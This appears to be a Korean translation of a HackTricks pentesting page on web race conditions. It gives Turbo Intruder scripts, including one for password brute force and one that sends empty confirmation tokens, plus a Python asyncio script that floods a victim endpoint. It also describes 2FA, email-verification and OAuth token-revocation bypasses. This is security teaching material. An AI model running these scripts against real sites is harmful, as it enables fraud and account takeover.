hacktricks/pentesting-web/race-condition.md
2024-02-10 21:30:13 +00:00

18 KiB

경쟁 조건 (Race Condition)


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

{% hint style="warning" %} 이 기술에 대한 깊은 이해를 위해 원본 보고서를 확인하세요. https://portswigger.net/research/smashing-the-state-machine {% endhint %}

경쟁 조건 공격 강화

경쟁 조건을 이용하기 위한 주요 장애물은 여러 요청이 처리 시간에 매우 작은 차이로 동시에 처리되는 것을 보장하는 것입니다. 이상적으로는 1ms 미만입니다.

다음은 요청 동기화를 위한 몇 가지 기술입니다:

HTTP/2 단일 패킷 공격 vs. HTTP/1.1 마지막 바이트 동기화

  • HTTP/2: 하나의 TCP 연결을 통해 두 개의 요청을 보낼 수 있으므로 네트워크 지터 영향을 줄일 수 있습니다. 그러나 서버 측 변동으로 인해 두 개의 요청만으로 일관된 경쟁 조건 공격이 충분하지 않을 수 있습니다.
  • HTTP/1.1 '마지막 바이트 동기화': 20-30개의 대부분의 요청을 사전에 전송하고 작은 조각을 보류한 후 동시에 서버에 도착하도록 함으로써 한 번에 전송합니다.

마지막 바이트 동기화를 위한 준비는 다음과 같습니다:

  1. 스트림을 종료하지 않고 헤더와 본문 데이터를 마지막 바이트를 제외하고 전송합니다.
  2. 초기 전송 후 100ms 동안 일시 중지합니다.
  3. Nagle의 알고리즘을 사용하기 위해 TCP_NODELAY를 비활성화하여 최종 프레임을 일괄 처리합니다.
  4. 연결을 미리 준비하기 위해 핑을 보냅니다.

보류된 프레임의 후속 전송은 와이어샤크를 통해 한 패킷으로 도착하는 것을 확인할 수 있어야 합니다. 이 방법은 일반적으로 RC 공격에 관련되지 않는 정적 파일에는 적용되지 않습니다.

서버 아키텍처에 대한 적응

대상의 아키텍처를 이해하는 것이 중요합니다. 프런트엔드 서버는 요청을 다르게 라우팅할 수 있으므로 타이밍에 영향을 줄 수 있습니다. 사소한 요청을 통해 사전에 서버 측 연결을 미리 준비하는 것은 요청 타이밍을 정규화할 수 있습니다.

세션 기반 잠금 처리

PHP의 세션 핸들러는 세션별로 요청을 직렬화하여 취약점을 숨길 수 있습니다. 각 요청에 대해 다른 세션 토큰을 사용하면 이 문제를 우회할 수 있습니다.

속도 또는 리소스 제한 극복

연결을 미리 준비하는 것이 효과적이지 않은 경우, 더미 요청의 플러드를 통해 웹 서버의 속도 또는 리소스 제한 지연을 의도적으로 유발함으로써 경쟁 조건에 유리한 서버 측 지연을 유도할 수 있습니다.

공격 예시

  • Tubo Intruder - HTTP2 단일 패킷 공격 (1 엔드포인트): 요청을 Turbo intruder로 보낼 수 있습니다 (Extensions -> Turbo Intruder -> Send to Turbo Intruder). 요청에서 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s와 같이 브루트 포스할 값을 **%s**로 변경한 다음 드롭다운에서 **examples/race-single-packer-attack.py**를 선택할 수 있습니다:

다른 값을 보내려면 클립보드에서 워드리스트를 사용하는 이 코드로 수정할 수 있습니다.

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} 웹이 HTTP2를 지원하지 않는 경우(HTTP1.1만 지원하는 경우), Engine.BURP2 대신 Engine.THREADED 또는 Engine.BURP를 사용하세요. {% endhint %}

  • Tubo Intruder - HTTP2 단일 패킷 공격 (여러 엔드포인트): RCE를 트리거하기 위해 1개의 엔드포인트로 요청을 보내고 다른 여러 엔드포인트로 여러 요청을 보내야 하는 경우, race-single-packet-attack.py 스크립트를 다음과 같이 변경할 수 있습니다:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Repeater에서는 Burp Suite의 새로운 '병렬 그룹 전송' 옵션을 통해 사용할 수도 있습니다.
  • limit-overrun의 경우, 그룹에 동일한 요청을 50번 추가하면 됩니다.
  • connection warming의 경우, 웹 서버의 정적이 아닌 부분에 대한 몇 가지 요청을 그룹의 처음에 추가할 수 있습니다.
  • 2 단계 하위 상태에서 하나의 요청과 다른 요청 사이의 처리 간격을 지연시키기 위해, 두 요청 사이에 추가 요청을 추가할 수 있습니다.
  • 다중 엔드포인트 RC의 경우, 숨겨진 상태로 이동하는 요청을 보내고 그 후에 50개의 요청을 보내서 숨겨진 상태를 이용할 수 있습니다.

Raw BF

이전 연구 이전에는 RC를 유발하기 위해 가능한 한 빠르게 패킷을 보내려고 시도한 몇 가지 페이로드였습니다.

  • Repeater: 이전 섹션의 예제를 확인하세요.
  • Intruder: Intruder요청을 보내고, 옵션 메뉴에서 스레드 수를 30으로 설정한 다음, 페이로드로 Null 페이로드를 선택하고 30개를 생성합니다.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

  • 파이썬 - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC 방법론

한계 초과 / TOCTOU

이것은 가장 기본적인 종류의 경쟁 상태로, 동작을 수행할 수 있는 횟수를 제한하는 위치에서 취약점이 발생하는 경우입니다. 예를 들어 웹 상점에서 동일한 할인 코드를 여러 번 사용하는 것입니다. 매우 쉬운 예제는 이 보고서이 버그에서 찾을 수 있습니다.

이러한 종류의 공격에는 다음과 같은 여러 가지 변형이 있습니다:

  • 기프트 카드를 여러 번 사용하기
  • 제품을 여러 번 평가하기
  • 계좌 잔액을 초과하여 현금 인출 또는 이체하기
  • 단일 CAPTCHA 솔루션 재사용하기
  • 반복되는 무차별 대입 공격 제한 우회하기

숨겨진 하위 상태

복잡한 경쟁 상태를 악용하는 것은 종종 순간적인 기회를 이용하여 숨겨진 또는 의도하지 않은 기계 하위 상태와 상호 작용하는 것을 포함합니다. 다음은 이를 접근하는 방법입니다:

  1. 잠재적인 숨겨진 하위 상태 식별
  • 사용자 프로필이나 비밀번호 재설정 프로세스와 같은 중요한 데이터를 수정하거나 상호 작용하는 엔드포인트를 정확히 파악하여 시작합니다. 다음에 초점을 맞춥니다:
  • 저장: 서버 측 영구 데이터를 조작하는 엔드포인트를 클라이언트 측 데이터를 처리하는 엔드포인트보다 선호합니다.
  • 동작: 기존 데이터를 변경하는 작업을 찾으며, 이는 새로운 데이터를 추가하는 작업보다 취약한 조건을 만들기 쉽습니다.
  • 키 지정: 성공적인 공격은 일반적으로 동일한 식별자(예: 사용자 이름 또는 재설정 토큰)에 기반한 작업을 포함합니다.
  1. 초기 탐색 수행
  • 식별된 엔드포인트를 경쟁 상태 공격으로 테스트하면서 예상 결과와의 차이를 관찰합니다. 예상치 않은 응답이나 응용 프로그램 동작의 변경은 취약점을 나타낼 수 있습니다.
  1. 취약점 증명
  • 취약점을 악용하기 위해 최소한의 요청 수로 공격 범위를 좁힙니다. 종종 두 개의 요청만 필요할 수 있습니다. 정확한 타이밍 때문에 여러 번 시도하거나 자동화가 필요할 수도 있습니다.

시간 민감한 공격

요청의 정확한 타이밍은 취약점을 드러낼 수 있습니다. 특히 보안 토큰으로 타임스탬프와 같은 예측 가능한 방법을 사용하는 경우입니다. 예를 들어, 타임스탬프를 기반으로 비밀번호 재설정 토큰을 생성하는 경우 동시 요청에 대해 동일한 토큰을 허용할 수 있습니다.

악용 방법:

  • 동시 비밀번호 재설정 요청을 수행하기 위해 단일 패킷 공격과 같은 정확한 타이밍을 사용합니다. 일치하는 토큰은 취약점을 나타냅니다.

예시:

  • 동시에 두 개의 비밀번호 재설정 토큰을 요청하고 비교합니다. 일치하는 토큰은 토큰 생성에 결함이 있음을 나타냅니다.

PortSwigger Lab에서 이를 시도해 볼 수 있습니다.

숨겨진 하위 상태 사례 연구

상품 결제 및 추가

PortSwigger Lab에서 상점에서 결제하고 추가로 아이템을 추가하는 방법을 확인할 수 있습니다. 추가로 지불할 필요가 없는 아이템입니다.

다른 이메일 확인

이 아이디어는 이메일 주소를 확인하고 동시에 다른 이메일로 변경하여 플랫폼이 새 이메일을 확인하는지 확인하는 것입니다.

2개의 이메일 주소로 이메일 변경 (쿠키 기반)

이 연구에 따르면 Gitlab은 이 방법으로 인해 취약점이 발생할 수 있었습니다. 왜냐하면 Gitlab은 한 이메일의 이메일 확인 토큰을 다른 이메일로 전송할 수도 있기 때문입니다.

PortSwigger Lab에서 이를 시도해 볼 수 있습니다.

숨겨진 데이터베이스 상태 / 확인 우회

데이터베이스에 정보를 추가하기 위해 2개의 다른 쓰기가 사용되는 경우, 데이터베이스에는 첫 번째 데이터만 기록된 작은 시간이 있습니다. 예를 들어, 사용자를 생성할 때 사용자 이름비밀번호기록한 다음 새로 생성된 계정을 확인하기 위한 토큰을 기록합니다. 이는 작은 시간 동안 계정 확인을 위한 토큰이 null인 상태가 됨을 의미합니다.

따라서 계정을 등록하고 빈 토큰(token= 또는 token[]= 또는 다른 변형)을 사용하여 계정을 즉시 확인하는 여러 요청을 보내면 이메일을 제어하지 않는 계정을 확인할 수 있습니다.

PortSwigger Lab에서 이를 시도해 볼 수 있습니다.

2FA 우회

다음 의사 코드는 세션을 생성하는 동안 매우 짧은 시간 동안 2FA가 적용되지 않는 취약점이 있습니다:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 영구적인 지속성

여러 OAuth 제공자가 있습니다. 이러한 서비스를 통해 제공자가 등록한 사용자를 인증하고 애플리케이션을 생성할 수 있습니다. 이를 위해 클라이언트애플리케이션에 대한 접근 권한을 허용해야 합니다.
따라서 여기까지는 구글/링크드인/깃허브 등과 같은 일반적인 로그인이며, "Application <InsertCoolName>이(가) 귀하의 정보에 접근하려고 합니다. 허용하시겠습니까?"라는 페이지가 표시됩니다.

authorization_code에서의 경합 조건

문제허용하면서 악성 애플리케이션에게 **자동으로 authorization_code**를 전송하는 경우 발생합니다. 그런 다음, 이 애플리케이션은 OAUth 서비스 제공자의 경합 조건을 악용하여 authorization_code로부터 AT/RT (인증 토큰/갱신 토큰)을 여러 개 생성합니다. 기본적으로, 애플리케이션이 데이터에 접근할 수 있도록 허용했기 때문에 여러 계정을 생성합니다. 그런 다음, 데이터에 대한 애플리케이션의 접근을 허용하지 않으면 AT/RT 쌍 중 하나는 삭제되지만 다른 것들은 여전히 유효합니다.

Refresh Token에서의 경합 조건

유효한 RT를 획득한 후에는 악용하여 여러 AT/RT를 생성할 수 있으며, 사용자가 악성 애플리케이션에 대한 권한을 취소하더라도 여러 RT가 여전히 유효합니다.

WebSockets에서의 RC

WS_RaceCondition_PoC에서는 웹 소켓에서도 경합 조건을 악용하기 위해 병렬로 웹소켓 메시지를 전송하는 Java PoC를 찾을 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급스러운 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}